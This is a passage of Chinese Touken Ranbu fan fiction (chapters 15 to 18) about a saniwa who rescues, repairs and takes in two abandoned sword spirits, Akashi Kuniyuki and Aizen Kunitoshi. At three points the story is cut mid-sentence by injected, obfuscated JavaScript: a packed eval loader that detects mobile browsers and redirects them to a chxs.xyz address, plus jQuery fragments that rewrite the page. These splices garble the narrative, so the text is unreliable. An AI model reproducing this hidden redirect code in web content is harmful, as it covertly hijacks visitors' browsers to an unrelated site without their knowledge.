和泉守兼定忌惮地瞥了一眼对方的刀身,再次狼狈地躲开,皱眉忍不住再次道:“喂,你清醒点!” 对方只是看了他一眼,说不出脸上是什么情绪,嗓音冷淡:“我很清醒。” 另一边的小夜左文字凭借短刀的灵活性再次帮助一位队友躲开攻击,这样憋屈的应对让他神色变得越来越凶狠,却依然连刀都不敢拔出。 “遭了!”堀川国广忽然惊呼一声,“兼先生!距离我们应该回去的时间,已经超过一个多小时了!” “什么?!” 六人皆惊声道,看了眼天色。 天边已被夕阳染红,这个时间,恐怕确实…… 这一句话不仅刺激了他们,敌对那两人闻言,招式也骤然变得更加凶猛,几乎不要命一般地进攻。和泉守兼定咬咬牙再次躲开一道攻击,短刀就从旁忽然偷袭过来。 他并不是战斗一定要光明磊落的那一派,此刻也忍不住低骂了一声,不得已地举起刀,用刀背来抵抗。 他看着对方两人刀上的裂纹,那样的伤势让他心惊肉跳,总觉得下一秒就会彻底破碎。他们根本不敢与对方正面抵抗,只能不断地躲避。 他们的本丸还没有这两位付丧神,因此他们不认识、也叫不出对方的名字,只能徒劳地再次试图谈判。 “你们究竟想要什么?如果是我们能做到的,我们都可以帮忙。已经超过远征时间很久了……再不回去,同伴们会很担心的。” 类似的这话他们在之前也说过很多次,对方从不回应。然而这一次,紫发青年突兀地停下了动作,却并不是在意他们说的第一句话,而是语调怪异地重复了其中某一个词。 “……同伴?” 15.第15章 “呃?”没料到他的关注点在这里,和泉守兼定愣了一下。 紫发太刀下一句话就解答了他的疑惑:“只是同伴吗?……你们的审神者呢?” 这话一出,四下人都面面相觑,一时竟无一人回话。 和泉守兼定与堀川国广对视一眼,眯起眼反问回去:“不如说,你又是为何第一反应是这件事?” “啊。”紫发太刀顿了一会儿,才懒散地回道,“出诊远征的事情都是审神者在管的咯。你们没回去,当然会第一个想到审神者担不担心——的吧。” “不过看你们这反应,是真的有问题咯?” 他的语调带着一点奇怪的口音,和泉守兼定听着,感觉一点也看不穿他的想法。 旁边红发的短刀似乎几次都想说话,却不知想到了什么,最后均闭口不言。 他抿紧了唇。 从意外相遇至现在,对方好像已经把他们的情况摸清了七八分,他们却连对方究竟是为什么突然攻击都不知道。此刻对方这样的问题他回也不是不回也不是,感觉怎样都能暴露出新的信息。 短刀太鼓钟贞宗没忍得住,他几乎有点恼的抱怨道:“啊——说了半天,你们才是怎么回事啊?!莫名其妙把我们拦住攻击我们,是想要从我们身上抢走什么吗?资源?小判?” ……抢走? 短刀随口的一声抱怨,和泉守兼定却忽然回忆起一个细节。 在一开始之时,这两人只是无差别骚扰他们所有人,都是一击即退。直到某一个时刻之后,那振太刀忽然就盯紧了自己。 现在想来,那个时候,恐怕就是他们分辨出自己这边的队长的时候吧?! 而唯一一定要队长带在身上的—— “——时空转换器。”和泉守兼定忽然说道。 他拿出一只精致的金色罗盘,摊开手,那罗盘就安安静静又毫无防备地躺在他的手心上。 “你们想要时空转换器,是不是?因为你知道这东西说了我们也不可能给你,所以直接减去谈判这个过程,趁我们不注意就想抢走。” 紫发太刀的神色不变,也没往那看一眼。 他一一扫过这六振刀剑的神色,忽然垂下眼,抬手慢慢悠悠打了个哈欠。接着,就像他莫名其妙出现那样,他莫名其妙地又转了身。 “算啦,走吧。” 红发短刀一怔,却并没有意外的情绪。他的情绪控制终究没有他的同伴优秀,在转身离开之前,他忍不住看了一眼那只罗盘,眼里浮现出纠结与忧虑。 “喂、等等——” 和泉守兼定简直一头雾水,他下意识喝道,想让队友去那边包抄将人拦下。然而还没等他发号施令,就忽然听见两人前行的方向传来一道平静的嗓音。 “这就急着走了吗?看您一身狼狈,不如先和我们一道回去收拾整理一下——明石殿?” 清水悠抬眼,在非时政管理地带之下,他们的特殊科技发挥能力较弱。白雾变得稀薄,有一瞬间,明石国行几乎看见了那一双深黑色的眼睛,像是望不见底的深渊,他下意识停下了脚步。 但他很快反应过来,“您是……?” 后面的六人远征部队与他同时注意到突然出现的人影。他们你看看我、我看看你,却竟是一个人都不敢开口确认,直到树后一身白的鹤绕出来,慢慢露出全身,他们才敢肯定对方的身份。 “鹤丸殿!” “鹤先生!” “……” 对鹤丸国永的招呼声此起彼伏响起,在他之后,才在和泉守兼定的带领下,迟疑地喊了一声审神者大人,语气还显得十分弱气。 见此情景,明石国行的眼神变得意味深长起来。 清水悠倒也不介意,他摆了摆手,直直看向面前两把重伤的刀剑——这是他迄今为止见到过最严重的伤势,让他有点失去来回拉扯试探的耐心。 来的路上他隐隐听见了这里的后半段对话,仅是那几句话就让他产生了一些猜测,进而产生了一些不太稳定的情绪。 他将这些情绪压下去,首先做了自我介绍,打消对方对自己的警惕:“您好,明石殿,我的代号为「泉」,入职第二天,接受这个本丸第二天。” 这话说得明白,明石国行也迅速意识到这是对于自己所怀疑的事情的解释,他探究地看着面前的审神者,握紧刀柄的手微松,不再那么急着走。 “情况我大致看明白了,”然而下一秒,清水悠就自我打破了先前那句话给到的冷静理智的第一印象。在这类事情上,他的容忍度比他所想象的要低很多,导致他完全无法再去问那些弯弯绕绕的事情,单刀直入道,“您需要罗盘去寻找你们来派最后一振刀剑,对吧?” 明石国行依然没说话,倒是旁边的爱染国俊在听见某个关键词时猛然抬起了头,这个反应证明他没有猜错。 不知何时,对打了一个多小时的六刃已经被现在的情况完全排挤在外。他们听不懂审神者与那两振刀剑的对话,但也大概明白了审神者想要做什么,均安安静静待在原地,没有打扰。 “我可以帮你。”清水悠说道。 他盯着明石国行那双色彩绚烂的眼眸,提出了自己的要求:“但是,你们要先和我回去进行修复。” 爱染国俊在听见他前一句话时就急了起来,好不容易看见了希望,他迫不及待地想要立刻行动,根本无法让自己安安心心地等待那么长时间。 或者说,他们本就一刻也不能停。 清水悠的视线移到他身上,将语调放温和:“听我的。你们现在的状态根本无法支撑你们继续多久的舟车劳顿,难道你们想还没找到他就碎掉吗?甚至是,在他的面前碎刀?” 爱染国俊立刻想要说什么,身侧的监护人却将手放到他的肩上,他的动作停住。下一秒,就像之前许多次的欲言又止一样,他再次咽下自己想说的话。 “好,”明石国行用他奇怪的关西腔应道,“我答应你。” 一直到这句话被说出,清水悠面上不显,始终绷紧的神经却在这一刻才猛然放松下来。 他轻轻吐出一口气,看向后方的远征部队,示意他们过来。然后他看向身侧:“抱歉,害你白跑了一趟。” “哎呀哎呀,这是什么话?”鹤丸国永笑道,“没有出什么事的时候,应该要庆祝才对吧?嘛、好啦,来,都站好哦。” 折腾了一圈之后,一队人总算回到了本丸。 时空转换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680914|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,光芒还未散去,焦急的呼喊声就从不远处传来。 “小贞!” 烛台切光忠紧紧盯着时空转换器,天知道当他和审神者谈完话,回去想给大家报好消息的时候,却发现这个时间本应已经回来了的众人却毫无踪迹之时有多恐慌。 他立刻就敲响了大俱利伽罗的门,但很快就从对方的反应中看出他也不清楚是怎么回事。几乎没时间多想,他以最快速度跑到了天守阁,想请求审神者看看是怎么回事。 天守阁灭着灯。 空无一人。 一时间,他心里闪过了很多念头。 他往外走去,看见大俱利伽罗在外面等着他,问他:“怎么回事?” “小贞他们还没回来。”他犹豫了一下,只说道,“我们去时空转换器那儿等等看吧。” 于是两人就来到了这里。 谢天谢地,没有等太久,这群人就回来了,不然他真怕出了什么事。 他等待着时空转换器彻底稳定,迫不及待地上前一步:“小贞!和泉守先生——呃?” 本是下意识扫过全员确定人数,却在数出第九人时,烛台切光忠眨了眨眼睛,缓缓愣住了。 他看向不认识的那两振刀剑:“这是……你们远征捡到的刀?” 远征不会像战场一样掉落刀剑,这话说出来他自己都不太信。 “噗、哈哈哈哈……”鹤丸国永笑出了声,“光坊你的想象力还真丰富啊,嗯、不过也不算错?” 他对大俱利伽罗挥了挥手打招呼,而后者哼了一声,转身离开了。 “总而言之,事情有些复杂,之后会和你解释的。”鹤丸国永走过来,握住烛台切光忠的肩将他转身,“现在,我们先带大家去整理一下吧?呜哇,弄得浑身都脏兮兮的呢。” 这是要支他走,烛台切光忠回了一下头,最后默认了。 几人三三两两离开之后,清水悠便带着两人去往手入室。本丸的时间已经是晚上,考虑到太刀的夜里侦察,避免明石国行不小心摔一跤,增加不必要的伤势,他抬起手,一团灵力凝聚出来,发出莹莹亮光。 光线并不算明亮,却足以照亮脚下的路。 明石国行看不出想法,爱染国俊心事重重。三人保持着诡异的沉默来到手入室,清水悠将灯点亮,熄灭了手中的光源。 他回头看了一眼,先将手伸向明石国行:“把刀给我吧。” 太刀沉默地解下佩刀,动作十分随意地将刀丢给他。 这动作让清水悠心脏狠狠跳动一下,立刻小心翼翼将刀接住,由于太刀重量较重,他甚至在手上覆上灵力,才将刀稳稳接在手里。 他深深吸了一口气,觉得自己有点想说什么,却又想到对方的经历,最终什么也没说。 太刀被放置在台上,明石国行慢吞吞地走向修复池,往里躺下便安详地闭上了眼。 “……喂!”爱染国俊几步小跑过去,忌惮又防备地看了一眼那位陌生的审神者,显然对他这毫无防备的姿态十分不赞同。 明石国行睁开眼,伸出手摸了摸他的脑袋,将他一头红毛沾湿变得乱七八糟,又重新恢复了刚才那安详的姿态。 爱染国俊:“……” 16.第16章 清水悠没管他们在做什么,他在准备用于修复的资源。 这是他头一次修复重伤的刀剑,必须要用到修复池辅助——按理来说这东西其实本来使用最多的时候是本丸刀剑轻伤,不想去麻烦审神者,便躺在里面自行修复。 太刀重伤要用的资源不少。 他一边进行准备,一边就忍不住想起付丧神身上斑驳的血迹、与让人怀疑他怎么还能站着的伤痕,让他的心情直直往下发沉。 但是这种心情不能带到手入上,于是清水悠闭了闭眼,再睁眼看向太刀本体时便一片清明。他伸出手,轻轻将其拔出刀鞘。 刀上的裂痕让人心惊肉跳。 他忍不住抚上那些裂痕,明石国行睁开眼,看了他一眼,见他拿起了工具,又将眼合上。 修复的过程很漫长,之前和泉守兼定的感受不是错觉,他的确已在碎刀的边缘,而且看痕迹,原本是不会有这么严重的,若不是重伤不医治、又长期的消磨损耗…… 他抿起唇,慢慢做好最后的收尾工作,一点一点缓慢收回自己的灵力蕴养,不愿让太刀感受到一点不适。 第一振刀剑的修复结束,看着刀剑本体恢复如初,清水悠轻轻吐出一口气。他扭头,想将本体还给明石国行,却睁大眼,发现他已经睡着了。 爱染国俊站在一边,低头看着自家监护人,神情说不清是心疼还是难过。 清水悠放轻脚步走过来,将太刀递给他。爱染国俊愣了一下,然后接过来,悄无声息地放在明石国行身侧。 接着,他随着清水悠招手的指示,来到另一边的修复池中。 将两振重伤刀剑修复对清水悠的消耗不小,做完一切后,他一边去洗手清洁,一边思忖,短刀的消耗其实还要小很多,若是两振太刀、甚至大太刀,他恐怕就不能再像这么快完成。 为了避免灵力耗尽,只得减慢修复的速度。可这对付丧神来说其实也是一个不怎么舒适的过程。 他看了看自己的手。 他是不是……该想想办法训练灵力? 走出手入室之后,鹤丸国永就在外面等着。清水悠站住脚,“明石睡着了,等他醒了……或者看他们自己,帮他们安排一个房间吧。” 鹤丸国永笑嘻嘻地比了个OK的手势。 审神者的脚步声渐渐远去,手入室内亮着光,与本丸夜里的一片漆黑形成鲜明对比。鹤丸国永走进去,就看到那振紫发太刀已经坐了起来。 一旁的短刀看向他,与陌生的审神者比起来,似乎是同为刀剑男士的鹤丸国永要更令他放松。但他依然没有率先出声,而是等待别人开口。 鹤丸国永看了一遍,就大致明白情况。他就像没有感受到气氛的诡异,打了个招呼:“哟,你已经醒啦?太好了,这可真是帮了大忙。” 明石国行看向他,他笑了笑:“他要我给你们安排个住的地方,可我也不知道你们喜欢怎样的环境。若你一直不醒,我还不知道要该怎么办才好呢。” 明石国行从修复池中站起来,哗啦一声响,水滴从他的衣袖落下。 “啊……不用了吧,听起来好麻烦。” 他抓起自己的刀,向爱染国俊伸出手,“离这里最近的空房间在哪?我们住那就好咯。” 他低着头,眼镜不再遮挡双眼。鹤丸国永看清了他眼下的困倦。 他没再说什么,顺从地应下:“好,跟我来吧。” 太刀在夜里带路让人感觉很不安,还好手入室的灯刚一关上,鹤丸国永就掏出了手电筒—— “很不错的发明吧?出门之前他给我的,明天你也可以问他要一个,他肯定会同意的。” 明石国行瞅了他一眼,忽然说:“你们的审神者是个很好的人。” 鹤丸国永弯着金眸,笑容不变:“嗯?怎么忽然说这个?” 明石国行:“……” 很快到了目的地,鹤丸国永没跟他们进去,只是嘱咐道:“柜子里有备用被子,你们先将就一晚,明天再去万屋买新的。” 明石国行拉着爱染国俊:“谢谢。” 这一声似乎比他平时听不出情绪的调调要真诚一些,鹤丸国永笑着摆了摆手,又打着他那只手电筒走远了。 那一点亮光渐行渐远,朝天守阁的方向去,很快不再能看见。 紫发太刀收回视线,打了个哈欠:“好啦,睡觉吧,真困啊……” “我现在就去铺床!你不要在地上睡啊,只有我的话拖不动你的。”爱染国俊立刻道,然后冲进了里屋。 明石国行慢悠悠跟在后面,毫无心理负担地压榨小孩。 - 第二天早上,刀剑男士们如常接到了自己今天的任务。 不知是否是巧合,审神者依然按照他们之前那微妙的两派分别来安排远征与出阵——由于远征这边的人数仅有八个,所以剩下的内番就大部分交给了另一边。 “……所以说,”大俱利伽罗一脸冷漠地看着朝自己走来的白色身影,“是谁,把工作交给这个人的。” “总之肯定不会是我。”鹤丸国永捏着鼻子,扫视面前的农田,“啊啊、让刀种田呀,这确实是一个大惊吓呢……” 大俱利伽罗:“……” 他拿起一旁的肥料:“赶紧去工作。” “等、等等?”鹤丸国永极速后仰,“不要给我,拿开点!很臭啊!” 一通混战之后,大俱利伽罗最终成功将一脸嫌弃的鹤押进了农田。 事实上,他倒不是怕鹤丸国永不干活,这点分寸对方还是有的。他一边警惕地盯着鹤丸的动作,一边想,就怕这家伙觉得无聊…… “呐,小伽罗,”鹤丸国永忽然说道,他并没有抬眼,一边做着工作,一边像是不怎么认真地问,“昨晚有听光坊说什么吗?” 大俱利伽罗的动作一顿。 …… 清水悠站在天守阁二楼的阳台上,静静看着这个本丸。 在没有审神者的时候,他们只做必要的内番。因为不需要进食,所以畑当番不会做,因为不再有人在意生活环境,所以清洁这一环节也被略去。 这样的情况下,这些工作近似于百废待兴。 会有人主动去帮忙吗? 楼梯传来脚步声,清水悠停止了自己的思索,扭头看去,明石国行独自走了上来。 似是看出了他的疑惑,明石国行笑了笑,说道:“国俊去帮忙农活了。” 清水悠点点头,故作不知地问:“有什么事吗?” 明石国行叹了口气。 “不是您有话要对我说嘛,”他掀起眼帘,萤绿与红色相间的眼眸冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711175|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静无比,“审神者大人?” 被立刻拆了台,清水悠也不恼。他直起身子,推开房门,“进来说吧。” 明石国行在原地顿了两秒才跟上。 他观察了一圈审神者的卧室,装潢十分简单,看起来属于个人的物品也并不多。他不知道审神者的房间本来应该是什么样,但猜测或许与这差不多。 清水悠完全没对它做什么改动。 审神者在书桌前坐下,示意他旁边还有一把椅子,他也没客气,拉过来就在审神者对面坐下。 空气寂静了两秒,明石国行说道:“您就这样将不认识的付丧神放进门,真的好吗?” 考虑到陌生付丧神伤害审神者的可能,这类会面一般都由近侍陪着。哪怕这个本丸特殊,这位审神者与他的付丧神们还不太熟悉,这种问题应该也不至于拒绝帮忙。 但是他不清楚时政对于审神者有保护措施。当审神者化为雾气形态,就会真的如同雾气一样无法触碰、无法被抓住。正常的本丸不会知道这件事,清水悠也不打算解释。 他只是笑笑:“没关系,你伤不到我。” 明石国行便自然而然将这句话理解为了审神者有足够的自保能力。 他想,也是,若非如此,来接手已成型的本丸的事情多少也是有风险的,能力不足的人显然不会答应。 闲聊略过,清水悠直入正题:“既然明石殿你把国俊给支开了,那想必你明白我的意思。” “——我不打算让你们使用时空转换器。” 这句类似于撕毁契约的话说出来,明石国行的反应却很平静。 他将视线落在审神者身上,示意他继续往下说。 清水悠却先问道:“由于我不太清楚你们的情况,所以我想先确认一下。你们是被自己的审神者抛弃的,是吗?” 这件事已经过去了许久,久到明石国行已经想不起当时的心情,他点点头。 紫发太刀想了想,多解释了一句:“最开始被丢弃的只有我。后来我见到国俊,他说是因为他一直执着于我失踪的问题,所以被她一起丢弃了。” “大概也有,害怕这件事暴露的因素在吧?” “我明白了。”清水悠点点头,“那么,你们是猜测萤丸或许也被丢弃在了不同时空,所以想要抢走和泉守的时空转换器,去别的时空找他。” 明石国行默认了。 这个猜测说白了也只是猜测,但在来派里一直处在监护人位置上的他无法忽视哪怕一点这种情况出现的可能。 他和国俊都是在某次出阵重伤之后,被直接当做碎刀处理的。他的那一次国俊不信,萤丸也不信,于是不久后国俊也被同样的手法抛弃。 那么萤丸呢? 清水悠沉吟片刻:“嗯……首先,我觉得萤丸目前应该还好好的生活在本丸里。” “他是数量稀少的大太刀,更是稀有刀。将他丢掉的话,不知何时才能再锻出一振来。” “其次,想知道这个猜测正不正确,其实很简单,”清水悠用食指点了点桌上的本子,“将你的本丸编号告诉我,我来上报时政。恶意虐待并丢弃刀剑,你和国俊在这里就是证据,你的审神者毫无疑问会被处理,你也可以得知萤丸的情况。” “——只是要看你,愿不愿意这样做?” 17.第17章 如清水悠所料,明石国行的确犹豫了。 倒不是所谓不愿让审神者被处罚之类的理由——不说他与那位主公之间本就没什么十分深厚的感情,他也不是这么以德报怨的人。 他在意的只是,如果萤丸的确还在那里,就像清水悠之前所说那样,那人舍不得丢弃他,自然也会尽力安抚。对于萤丸来说,相比起知道真相之后的各种各样的事,一无所知的留下反而说不定要好一些。 “真的吗?” 明石国行一愣,抬起头。 他能感知到审神者投在自己身上的视线,不知为何,他想起了初见时有一瞬间,如同幻梦一样看见的那双黑色眼眸。 “你真的这样想吗?”清水悠重复了一遍,问道。 他并不等太刀回复,他知道对方纠结的是什么。这件事从头到尾,说白了所有选项都透着一种赌/博,没有人可以保证哪种选择究竟才是最好。 但是刀剑会忽略,他作为人类,却清楚的知晓人性复杂。 这些要解释清楚很难,清水悠也没打算从这方面进行说服,“你想给萤丸最好的,希望他现世以后的经历能毫无瑕疵。但首先你无法确定那位审神者的想法,其次……” “失去了你们,萤丸真的还能开心起来吗?你知道,哪怕再锻出一振新的明石国行与爱染国俊,他也清楚那不是他认识的你们。” 明石国行沉默不语。 但清水悠看出他已经动摇了。 “说起来,”他没再继续往下说,忽然转移了话题,“那位审神者……她为什么要这样做?” “……啊啊,”明石国行抬了抬眼,往椅背一靠,“谁知道呢?” 在他刚诞生的时候,他记得,那个像是刚成年的少女看起来很开心。 他大概能猜到原因,那时本丸刚起步不久,审神者锻出来的太刀不多,每出现一振都令她很惊喜。 她会了解每一振刀剑的性情喜好,努力去迎合他们自身的习惯。狮子王喜欢当队长,她就每次都派他当队长;江雪左文字不喜打仗,她就只让他做内番。 偶尔也会有冲突,就像压切长谷部其实也想做队长,只是他不会像狮子王一样大声说出心里的想法,审神者便会注意到,然后变得很纠结。 于是狮子王便主动说,偶尔不当队长也可以。 审神者和刀剑男士们互相迁就,本丸里的氛围一直很和睦。 以此类推,当然,审神者也注意到了他没有干劲、能躺着就绝不坐着的懒惰性情,于是和以往一样的,也放任了他的习惯,不派他出阵、不派他远征,也不派他做内番。 少女总是笑吟吟的说,希望大家都能幸福地生活。 所以每个刀剑男士和她的关系都很好,国俊讲自己的经历时她会耐心倾听,萤丸也很喜欢伏在她的膝上,听她哼歌,让她摸摸头发。 一切都很好,只有明石国行知道,每当这种时候,他会被微妙排除在外。 他并不明白为什么,当时也懒得去思考。一直到某一天,审神者忽然开始让他出阵练级,让他去他目前的等级还不能去的时空,直到重伤之后同伴们匆忙带他回去,然而光芒闪过他却出现在了陌生的时代的时候,他才开始回忆这些记忆。 然后,他便想起了这个本丸的氛围:审神者与刀剑男士互相迁就。 ——审神者在等他迁就自己。 她纵容了他的懒惰,给了他初期的甜头。于是也指望他在之后懂得回报,主动提出为了她而改变习性,主动出阵。 但他始终没有做出改变,于是他违背了规则,就被审神者抛弃。 明石国行低眸看着自己的手,在那次使他重伤的出阵中,有一道极深的伤口横过他的手背,陪伴他不知多久的流浪时间。而现在,那道伤口已经恢复如初。 他依然没办法知道审神者的真实想法,以上所有其实也不过是他的猜测。审神者暴露给他的信息太少,一直到突然做出这样的行为,也没给过他任何解释。 只是因为他违背了群体的规则?或者,是因为他的行为没有表达出对审神者的在意大于自己? 他得不到答案,似乎也想不出更多的可能。唯一明晰的是,如果仅从以上两种理由出发,萤丸不会违背任何一条,审神者依然会喜欢他。 记忆中的审神者真的一直都很好。 好到在国俊出现在自己面前之前,他都一直在思考这会不会只是一个意外。 而他也清楚萤丸内心对审神者的在意,所以他才会迟疑,不愿去打破这样的平衡。 不过…… 明石国行叹了口气。 果然还是要做决定了啊。 “帮我上报吧,大人。”他抬眼说道,“拜托你了。” - 将这件事向时政举报之后,那边十分重视,表示会尽快来取证并处理。 清水悠送走了明石国行,在本丸里四处晃悠。不知不觉走到农田附近,刚巧看见大俱利伽罗提着锄头在追着鹤丸国永跑,爱染国俊在旁边哈哈大笑。 他在不远处停下,树木与灌木丛遮挡了他的身影。 鹤丸国永跑了一阵,眼看前面没路了,就停下来求饶。大俱利伽罗冷哼一声,刚要说什么,就听见身后忽然传来一声呼喊。 “鹤丸殿。”他扭过头去,看见一期一振走过来,“不介意的话,我也来帮忙吧。” 说的是帮忙,表情和语气却完全不是那回事。 大俱利伽罗沉默一阵,金眸扫过两人,一声不吭地转身离开了。 “帮忙的话很欢迎哦!”鹤丸国永露出劫后余生的神色,然而对上对方冷漠的神色,顿了一下,将后半句吞下去,收起表情摊了摊手,“好吧,嗯……需要做的工作还有很多啊,来这边好了。” 一期一振转身跟着他走,清水悠不再能看到他的表情。他眯了眯眼,下意识迈出去一步,试图看得更清楚。 一期一振的表现…… “啊、审神者大人!”这一步似乎让他离开了树木遮挡。爱染国俊立刻发现了他的存在,呼唤着朝他跑来。 清水悠的动作一僵,只能停下脚步,看着小短刀停在自己面前。 “审神者大人!”红发短刀仰起脸看他,“您知道国行去哪儿了吗?” 清水悠:“现在的话,应该是回房间去了吧?” 爱染国俊却并不放心的样子,忧心忡忡地追问:“是从您的天守阁回去的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712092|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清水悠点点头。 “谢谢您!我去看看!”留下这一句后,小短刀便风风火火地跑走了。 他离开之后,再抬头看向农田中,清水悠就遗憾地发现剩下三人已经开始专心致志地干活,无法再看出一点有问题的影子。 好吧,看来这次是发现不了什么了。 很快便不再纠结于这件事,不知道时政上门还要多久,清水悠打算先去给新来的两振刀剑去万屋购置生活用品。 但是在此之前,他得先揪一只付丧神陪他去,不然害怕又会被举报。 这个幸运儿会是谁呢? 一边往时空转换器走,清水悠一边思忖着人选。然而直到快到达目的地点,他也没想好该叫谁。 就在这时,小腿忽然被撞了一下。 还未低头看去,就听到远处一道颤巍巍的声音小声喊道:“小、小虎!” 毛茸茸的白虎就在脚边,撞上来之后也晕乎乎的,似乎不知为什么明明看到的是一团白雾,撞上来却是实心的。 清水悠自己都愣了一下,狐之助都碰不到自己,五虎退的小老虎居然可以吗? 老实说,他还真没摸过老虎,以前倒是摸过别人家的三花猫,但这俩肯定不会是一个手感。 但是尽管想要摸摸的爪子蠢蠢欲动,清水悠看了一眼盯着他表情越来越欲哭无泪的五虎退,最终还是放弃了这个想法。 他后退一步,五虎退赶紧招呼小老虎回到自己身边。 “审、审神者大人……”小短刀抱着小老虎,小心翼翼地抬头看他。 他的肢体语言简直太好懂了,看得出十分想离开这里,却又不敢,只能等审神者的命令。清水悠看着他,倒是忽然想起自己还没定下的陪同人员。 他半点没有欺负小孩的自觉,假装看不懂对方的想法,“正好,退,陪我去一趟万屋吧。” “诶?我、我吗?”五虎退瞪大了眼,呆了两秒,忽然变得惊慌失措起来,用力摇头,“不、不行的,审神者大人……歌仙先生让我去帮他洗衣,我已经答应他了……” 是借口。 清水悠拖着下巴想了想,让这孩子也努力编借口来骗自己……是不是有点太为难他了啊? 他都有点不忍心继续说下去了。 “……退!”穿着内番服的黑发短刀不知从何处跑过来,看见他们两人对峙的情形,警惕地看了清水悠一眼,“怎么了?出什么事了?” 五虎退还没说话,清水悠就灵光一闪:“退有事的话就没办法了。正好药研来了,那么,药研陪我去也是一样的。” 药研藤四郎动作一顿:“?” 五虎退瞳孔地震,看起来都要哭了:“药、药研哥哥他也有事情,他要去做清洁……” 清水悠当然知道药研要去做清洁,内番本来就是他安排的。 但他故意道:“嘛、没关系,要是人手不够的话去找昨晚新来的明石或者国俊也是一样的。现在药研就先陪我去给新人添置被褥吧?” 话音未落,他趁着两人都还没反应过来,拽住药研藤四郎便踏上了时空转换器。 五虎退眼睛下意识眯起,再睁开时,两人的身影已经消失在原地。 18.第18章 一审一短刀走在万屋的街上。 清水悠察觉到了药研藤四郎频频投过来的视线,但他故意装作没看到。 凭借短刀的敏捷性,想躲开他的手再容易不过。药研藤四郎刚刚或许是有一些发懵,但能让他成功拽出门,更多的还是他自己配合。 如他所料,付丧神们既然分为两派,互相之间的消息一定也不是那么灵通。昨晚知道远征队伍捡了两振刀回来的只有保守派那几个人,另一边的基本都还被蒙在鼓里。 药研藤四郎跟他出来,无非就是想打听消息,想知道新人的来历。 因为显而易见的,新锻出的刀对审神者完全忠诚,这将很大一部分打乱本丸如今的局势。 但他怎么想的清水悠才不管。 毕竟,他的目的只是把人骗出来陪自己逛街而已啊。 气氛莫名诡异地走了一阵,药研藤四郎不问,清水悠自然也不会主动开口。顶多在走到卖甜食的店门前时,停下脚步问一句想不想吃。 药研藤四郎合理怀疑审神者把他当小孩对待了,但他没有证据。 甚至审神者那句话其实也不是询问。于是走了一段路出去,两人身上都挂满了各种各样的零食袋。 药研藤四郎瞅了眼自己提着的东西,逐渐感到有些困惑。 如果说一开始递给他还可能是买给他吃的。但是这一路逛下来,手上的东西越提越多,就算是他也无法相信这些全都是给他的了。 “……审神者,”眼看两人都快要拿不下,药研藤四郎不得不开口提醒,“你是出来买什么的?” “喔,对哦。”清水悠如梦初醒,他回忆了一下,精准无误地走向拐过街角的日用品商店,“要给明石和国俊买点生活用品。” 药研藤四郎第一个反应是,审神者似乎才第二次出来,居然就记清了这里的地形,难道是购物的天赋吗? 下一秒便意识到,对方口中说出的那两个名字。 那是两个有点陌生的名字。 这一路上他也有想过,如果真的是锻刀出来的新人,锻刀需要时间,那几个小时他们不应该听不到消息。 出阵的队伍也绝不会去捡新刀,那就只能是远征队那边的情况。 远征……能遇到的不就只有流浪付丧神了吗? 这一类付丧神身上的情况一般都很复杂,需要上报时政,然后之后有关他们的事情就都由时政全权处理。 这种情况他们不会在本丸停留多久,临时被褥就足够使用了。 然而现在审神者却特意出来给他们购置生活用品…… 这反倒让药研藤四郎摸不清具体是什么情况。 他在后面胡思乱想着,忽然意识到审神者就要走进店里,立刻注意到一件事,冲上去紧急将他拦下:“等一下,审神者。我们是不是需要先回去放一下东西再来?” 清水悠低头一看,两人的手都占得满满的,或许还拿得下更多东西,但想要带走两套被褥是绝对不够的。 他露出后知后觉的神情,扭头看了一眼近在咫尺的店门,嗓音里透出些许后悔与不甘:“啊……好像买太多了。呜,完全忘记了这回事,早知道,就应该先来把要买的东西买好才对。” ……这种事应该在一开始就能想到吧? 药研藤四郎忍不住虚了虚眼睛,露出几分无奈。看着云雾波动,情绪不佳的审神者,他不自觉带上几分哄小孩的语气:“好了,审神者,先回去吧。我会再陪你来的。” 清水悠这才重重叹了口气,迈开那像是被钉子钉在地上一样的脚步,“好吧,先回去好了。说好了等会药研你也要陪我来的,不能反悔哦。” “好好,放心吧。” 回到本丸之后,两人不出意外看见五虎退还在时空转换器前踟蹰。似乎没料到两人这么快就回来了,他被吓了一跳,清水悠几乎幻视他和他自己的小虎炸毛的模样一模一样。 药研藤四郎不动声色地率先说道:“正好,退,来帮个忙。” 五虎退看着他们身上数量壮观的购物袋,眨了眨眼:“哦、哦。” 药研藤四郎把自己手里的分了一些给他,又从清水悠手里把剩下的都接过来。 药研藤四郎:“这些放去哪里,审神者?” 